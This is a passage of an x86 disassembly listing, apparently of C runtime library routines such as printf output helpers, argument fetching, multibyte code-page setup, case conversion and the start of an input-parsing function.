		cmp	[ebp+var_C], 0
		jle	short loc_42061A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]

loc_4205E8:				; CODE XREF: sub_41FF3F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_424663
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_42062F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4206E6
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_4205E8
		jmp	short loc_42062F
; ---------------------------------------------------------------------------

loc_42061A:				; CODE XREF: sub_41FF3F+698j
					; sub_41FF3F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_4206E6
		add	esp, 10h

loc_42062F:				; CODE XREF: sub_41FF3F+6BCj
					; sub_41FF3F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_420647 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4206B5
		add	esp, 10h

loc_420647:				; CODE XREF: sub_41FF3F+68j
					; sub_41FF3F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41FF6B

loc_420658:				; CODE XREF: sub_41FF3F+1Fj
					; sub_41FF3F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FF3F	endp

; ---------------------------------------------------------------------------
off_420660	dd offset loc_4200DE	; DATA XREF: sub_41FF3F+6Er
		dd offset loc_41FFB4	; jump table for switch	statement
		dd offset loc_41FFCF
		dd offset loc_42001B
		dd offset loc_420052
		dd offset loc_42005A
		dd offset loc_42008F
		dd offset loc_420122

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420680	proc near		; CODE XREF: sub_41FF3F+1BDp
					; sub_41FF3F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_420699
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_4206A4
; ---------------------------------------------------------------------------

loc_420699:				; CODE XREF: sub_420680+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41FE2A
		pop	ecx
		pop	ecx

loc_4206A4:				; CODE XREF: sub_420680+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_4206B1
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_4206B1:				; CODE XREF: sub_420680+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_420680	endp


; =============== S U B	R O U T	I N E =======================================



sub_4206B5	proc near		; CODE XREF: sub_41FF3F+65Ap
					; sub_41FF3F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_4206E3
		mov	esi, [esp+8+arg_C]

loc_4206C6:				; CODE XREF: sub_4206B5+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_420680
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_4206E3
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_4206C6

loc_4206E3:				; CODE XREF: sub_4206B5+Bj
					; sub_4206B5+25j
		pop	edi
		pop	esi
		retn
sub_4206B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4206E6	proc near		; CODE XREF: sub_41FF3F+670p
					; sub_41FF3F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_42071A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]

loc_4206FC:				; CODE XREF: sub_4206E6+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_420680
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_42071A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_4206FC

loc_42071A:				; CODE XREF: sub_4206E6+Cj
					; sub_4206E6+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4206E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42071E	proc near		; CODE XREF: sub_41FF3F+E5p
					; sub_41FF3F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_42071E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42072B	proc near		; CODE XREF: sub_41FF3F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_42072B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42073B	proc near		; CODE XREF: sub_41FF3F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_42073B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420749	proc near		; CODE XREF: sub_420B0D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4208E2
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DD164
		mov	[ebp+arg_0], esi
		jz	loc_4208D6
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_4208CC
		xor	edx, edx
		mov	eax, offset dword_43D0B0

loc_42077D:				; CODE XREF: sub_420749+41j
		cmp	[eax], esi
		jz	short loc_4207F3
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43D1A0
		jl	short loc_42077D
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 2660000h
		cmp	eax, 1
		jnz	loc_4208C4
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DD280
		cmp	[ebp+var_18], 1
		mov	dword_4DD164, esi
		rep stosd
		stosb
		mov	dword_4DD384, ebx
		jbe	loc_4208B2
		cmp	[ebp+var_12], 0
		jz	loc_420888
		lea	ecx, [ebp+var_11]

loc_4207D0:				; CODE XREF: sub_420749+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_420888
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl

loc_4207E1:				; CODE XREF: sub_420749+A8j
		cmp	eax, edx
		ja	loc_42087C
		or	byte_4DD281[eax], 4
		inc	eax
		jmp	short loc_4207E1
; ---------------------------------------------------------------------------

loc_4207F3:				; CODE XREF: sub_420749+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DD280
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43D0C0[esi]

loc_42080F:				; CODE XREF: sub_420749+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_420842

loc_420816:				; CODE XREF: sub_420749+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_420842
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_42083B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43D0A8[edx]

loc_420830:				; CODE XREF: sub_420749+F0j
		or	byte_4DD281[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_420830

loc_42083B:				; CODE XREF: sub_420749+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_420816

loc_420842:				; CODE XREF: sub_420749+CBj
					; sub_420749+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_42080F
		mov	eax, [ebp+arg_0]
		mov	dword_4DD17C, 1
		push	eax
		mov	dword_4DD164, eax
		call	sub_42092C
		lea	esi, dword_43D0B4[esi]
		mov	edi, offset dword_4DD170
		movsd
		movsd
		pop	ecx
		mov	dword_4DD384, eax
		movsd
		jmp	short loc_4208D1
; ---------------------------------------------------------------------------

loc_42087C:				; CODE XREF: sub_420749+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_4207D0

loc_420888:				; CODE XREF: sub_420749+7Ej
					; sub_420749+8Bj
		push	1
		pop	eax

loc_42088B:				; CODE XREF: sub_420749+14Fj
		or	byte_4DD281[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_42088B
		push	esi
		call	sub_42092C
		pop	ecx
		mov	dword_4DD384, eax
		mov	dword_4DD17C, 1
		jmp	short loc_4208B8
; ---------------------------------------------------------------------------

loc_4208B2:				; CODE XREF: sub_420749+74j
		mov	dword_4DD17C, ebx

loc_4208B8:				; CODE XREF: sub_420749+167j
		xor	eax, eax
		mov	edi, offset dword_4DD170
		stosd
		stosd
		stosd
		jmp	short loc_4208D1
; ---------------------------------------------------------------------------

loc_4208C4:				; CODE XREF: sub_420749+51j
		cmp	dword_4DBE5C, ebx
		jz	short loc_4208DA

loc_4208CC:				; CODE XREF: sub_420749+27j
		call	sub_42095F

loc_4208D1:				; CODE XREF: sub_420749+131j
					; sub_420749+179j
		call	sub_420988

loc_4208D6:				; CODE XREF: sub_420749+1Dj
		xor	eax, eax
		jmp	short loc_4208DD
; ---------------------------------------------------------------------------

loc_4208DA:				; CODE XREF: sub_420749+181j
		or	eax, 0FFFFFFFFh

loc_4208DD:				; CODE XREF: sub_420749+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420749	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208E2	proc near		; CODE XREF: sub_420749+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DBE5C, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420902
		mov	dword_4DBE5C, 1
		nop
		jmp	near ptr 265097Eh
; ---------------------------------------------------------------------------

loc_420902:				; CODE XREF: sub_4208E2+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420917
		mov	dword_4DBE5C, 1
		jmp	near ptr 26509B9h
; ---------------------------------------------------------------------------
		db 39h
; ---------------------------------------------------------------------------

loc_420917:				; CODE XREF: sub_4208E2+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42092B
		mov	eax, dword_4DBEA4
		mov	dword_4DBE5C, 1

locret_42092B:				; CODE XREF: sub_4208E2+38j
		retn
sub_4208E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_42092C	proc near		; CODE XREF: sub_420749+118p
					; sub_420749+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_420959
		sub	eax, 4
		jz	short loc_420953
		sub	eax, 0Dh
		jz	short loc_42094D
		dec	eax
		jz	short loc_420947
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_420947:				; CODE XREF: sub_42092C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------

loc_42094D:				; CODE XREF: sub_42092C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------

loc_420953:				; CODE XREF: sub_42092C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------

loc_420959:				; CODE XREF: sub_42092C+9j
		mov	eax, 411h
		retn
sub_42092C	endp


; =============== S U B	R O U T	I N E =======================================



sub_42095F	proc near		; CODE XREF: sub_420749:loc_4208CCp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DD280
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DD170
		mov	dword_4DD164, eax
		mov	dword_4DD17C, eax
		mov	dword_4DD384, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_42095F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420988	proc near		; CODE XREF: sub_420749:loc_4208D1p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DD164
		nop
		call	near ptr 2660000h
		cmp	eax, 1
		jnz	loc_420AC1
		xor	eax, eax
		mov	esi, 100h

loc_4209B2:				; CODE XREF: sub_420988+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_4209B2
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420A03
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]

loc_4209D1:				; CODE XREF: sub_420988+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_4209F8
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb

loc_4209F8:				; CODE XREF: sub_420988+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_4209D1
		pop	edi
		pop	ebx

loc_420A03:				; CODE XREF: sub_420988+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DD384
		push	dword_4DD164
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_4244F4
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DD164
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DD384
		call	sub_4232A8
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DD164
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DD384
		call	sub_4232A8
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]

loc_420A7E:				; CODE XREF: sub_420988+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_420A9C
		or	byte_4DD281[eax], 10h
		mov	dl, [ebp+eax+var_214]

loc_420A94:				; CODE XREF: sub_420988+127j
		mov	byte_4DD180[eax], dl
		jmp	short loc_420AB8
; ---------------------------------------------------------------------------

loc_420A9C:				; CODE XREF: sub_420988+FCj
		test	dl, 2
		jz	short loc_420AB1
		or	byte_4DD281[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_420A94
; ---------------------------------------------------------------------------

loc_420AB1:				; CODE XREF: sub_420988+117j
		and	byte_4DD180[eax], 0

loc_420AB8:				; CODE XREF: sub_420988+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_420A7E
		jmp	short loc_420B0A
; ---------------------------------------------------------------------------

loc_420AC1:				; CODE XREF: sub_420988+1Dj
		xor	eax, eax
		mov	esi, 100h

loc_420AC8:				; CODE XREF: sub_420988+180j
		cmp	eax, 41h
		jb	short loc_420AE6
		cmp	eax, 5Ah
		ja	short loc_420AE6
		or	byte_4DD281[eax], 10h
		mov	cl, al
		add	cl, 20h

loc_420ADE:				; CODE XREF: sub_420988+174j
		mov	byte_4DD180[eax], cl
		jmp	short loc_420B05
; ---------------------------------------------------------------------------

loc_420AE6:				; CODE XREF: sub_420988+143j
					; sub_420988+148j
		cmp	eax, 61h
		jb	short loc_420AFE
		cmp	eax, 7Ah
		ja	short loc_420AFE
		or	byte_4DD281[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_420ADE
; ---------------------------------------------------------------------------

loc_420AFE:				; CODE XREF: sub_420988+161j
					; sub_420988+166j
		and	byte_4DD180[eax], 0

loc_420B05:				; CODE XREF: sub_420988+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420AC8

loc_420B0A:				; CODE XREF: sub_420988+137j
		pop	esi
		leave
		retn
sub_420988	endp


; =============== S U B	R O U T	I N E =======================================



sub_420B0D	proc near		; CODE XREF: ___:00423684p
					; ___:004236E0p ...
		cmp	dword_4DD3B4, 0
		jnz	short locret_420B28
		push	0FFFFFFFDh
		call	sub_420749
		pop	ecx
		mov	dword_4DD3B4, 1

locret_420B28:				; CODE XREF: sub_420B0D+7j
		retn
sub_420B0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420B29	proc near		; CODE XREF: sub_41C3B1+2Bp
					; sub_41C3B1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DD17C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_420B4D
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41BFD0
		add	esp, 0Ch
		jmp	short loc_420BB0
; ---------------------------------------------------------------------------

loc_420B4D:				; CODE XREF: sub_420B29+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_420B92
		mov	ecx, [ebp+arg_4]

loc_420B58:				; CODE XREF: sub_420B29+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DD281[esi], 4
		mov	[edi], al
		jz	short loc_420B7C
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_420B88
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420B8E
		jmp	short loc_420B82
; ---------------------------------------------------------------------------

loc_420B7C:				; CODE XREF: sub_420B29+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420B92

loc_420B82:				; CODE XREF: sub_420B29+51j
		test	edx, edx
		jnz	short loc_420B58
		jmp	short loc_420B92
; ---------------------------------------------------------------------------

loc_420B88:				; CODE XREF: sub_420B29+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_420B92
; ---------------------------------------------------------------------------

loc_420B8E:				; CODE XREF: sub_420B29+4Fj
		and	byte ptr [edi-2], 0

loc_420B92:				; CODE XREF: sub_420B29+2Aj
					; sub_420B29+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_420BAD
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb

loc_420BAD:				; CODE XREF: sub_420B29+6Fj
		mov	eax, [ebp+arg_0]

loc_420BB0:				; CODE XREF: sub_420B29+22j
		pop	edi
		pop	ebp
		retn
sub_420B29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420BB3	proc near		; CODE XREF: sub_41C59D+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBE94, 0
		push	ebx
		jnz	short loc_420BDE
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_420C7C
		cmp	eax, 7Ah
		jg	loc_420C7C
		sub	eax, 20h
		jmp	loc_420C7C
; ---------------------------------------------------------------------------

loc_420BDE:				; CODE XREF: sub_420BB3+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420C11
		cmp	dword_43D094, 1
		jle	short loc_420BFE
		push	2
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420C09
; ---------------------------------------------------------------------------

loc_420BFE:				; CODE XREF: sub_420BB3+3Dj
		mov	eax, off_43CE88
		mov	al, [eax+ebx*2]
		and	eax, 2

loc_420C09:				; CODE XREF: sub_420BB3+49j
		test	eax, eax
		jnz	short loc_420C11

loc_420C0D:				; CODE XREF: sub_420BB3+AFj
		mov	eax, ebx
		jmp	short loc_420C7C
; ---------------------------------------------------------------------------

loc_420C11:				; CODE XREF: sub_420BB3+34j
					; sub_420BB3+58j
		mov	edx, off_43CE88
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420C34
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_420C3D
; ---------------------------------------------------------------------------

loc_420C34:				; CODE XREF: sub_420BB3+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1

loc_420C3D:				; CODE XREF: sub_420BB3+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DBE94
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_420C0D
		cmp	eax, 1
		jnz	short loc_420C6F
		movzx	eax, [ebp+var_4]
		jmp	short loc_420C7C
; ---------------------------------------------------------------------------

loc_420C6F:				; CODE XREF: sub_420BB3+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_420C7C:				; CODE XREF: sub_420BB3+14j
					; sub_420BB3+1Dj ...
		pop	ebx
		leave
		retn
sub_420BB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_420C7F	proc near		; CODE XREF: sub_41C7BC+1Dp
					; sub_41DC5E+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DBDF0, ecx
		mov	eax, offset dword_43D1A0

loc_420C90:				; CODE XREF: sub_420C7F+1Ej
		cmp	ecx, [eax]
		jz	short loc_420CB4
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43D308
		jl	short loc_420C90
		cmp	ecx, 13h
		jb	short loc_420CC1
		cmp	ecx, 24h
		ja	short loc_420CC1
		mov	dword_4DBDEC, 0Dh
		retn
; ---------------------------------------------------------------------------

loc_420CB4:				; CODE XREF: sub_420C7F+13j
		mov	eax, dword_43D1A4[edx*8]
		mov	dword_4DBDEC, eax
		retn
; ---------------------------------------------------------------------------

loc_420CC1:				; CODE XREF: sub_420C7F+23j
					; sub_420C7F+28j
		cmp	ecx, 0BCh
		jb	short loc_420CDB
		cmp	ecx, 0CAh
		mov	dword_4DBDEC, 8
		jbe	short locret_420CE5

loc_420CDB:				; CODE XREF: sub_420C7F+48j
		mov	dword_4DBDEC, 16h

locret_420CE5:				; CODE XREF: sub_420C7F+5Aj
		retn
sub_420C7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_420CE6	proc near		; CODE XREF: sub_41C7E6+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42463D
		test	eax, eax
		pop	ecx
		jz	short loc_420D6F
		cmp	esi, offset dword_43D598
		jnz	short loc_420D04
		xor	eax, eax
		jmp	short loc_420D0F
; ---------------------------------------------------------------------------

loc_420D04:				; CODE XREF: sub_420CE6+18j
		cmp	esi, offset dword_43D5B8
		jnz	short loc_420D6F
		push	1
		pop	eax

loc_420D0F:				; CODE XREF: sub_420CE6+1Cj
		inc	dword_4DBFBC
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_420D6F
		cmp	dword_4DBE60[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DBE60h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_420D55
		push	ebx
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_420D55
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_420D62
; ---------------------------------------------------------------------------

loc_420D55:				; CODE XREF: sub_420CE6+4Dj
					; sub_420CE6+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx

loc_420D62:				; CODE XREF: sub_420CE6+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_420D6F:				; CODE XREF: sub_420CE6+10j
					; sub_420CE6+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420CE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_420D73	proc near		; CODE XREF: sub_41C7E6+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_420D9D
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_420DAE
		push	esi
		call	sub_41E42B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_420D9D:				; CODE XREF: sub_420D73+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_420DAE
		push	eax
		call	sub_41E42B
		pop	ecx

loc_420DAE:				; CODE XREF: sub_420D73+10j
					; sub_420D73+32j
		pop	esi
		retn
sub_420D73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420DB0	proc near		; CODE XREF: sub_41CCE3+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_4217B6
		mov	edi, [ebp+arg_0]
		jmp	short loc_420DDF
; ---------------------------------------------------------------------------

loc_420DDA:				; CODE XREF: sub_420DB0+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx

loc_420DDF:				; CODE XREF: sub_420DB0+28j
		cmp	dword_43D094, 1
		jle	short loc_420DF7
		movzx	eax, al
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420E06
; ---------------------------------------------------------------------------

loc_420DF7:				; CODE XREF: sub_420DB0+36j
		mov	ecx, off_43CE88
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_420E06:				; CODE XREF: sub_420DB0+45j
		cmp	eax, ebx
		jz	short loc_420E40
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_42183D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_421826
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DF10
		add	esp, 0Ch

loc_420E2E:				; CODE XREF: sub_420DB0+8Ej
		test	eax, eax
		jz	short loc_420E40
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DF10
		pop	ecx
		jmp	short loc_420E2E
; ---------------------------------------------------------------------------

loc_420E40:				; CODE XREF: sub_420DB0+58j
					; sub_420DB0+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_421722
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
		and	[ebp+var_5], 0
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_D], 1
		mov	[ebp+var_30], ebx

loc_420E77:				; CODE XREF: sub_420DB0+172j
		movzx	ebx, byte ptr [esi+1]
		inc	esi
		cmp	dword_43D094, 1
		jle	short loc_420E94
		movzx	eax, bl
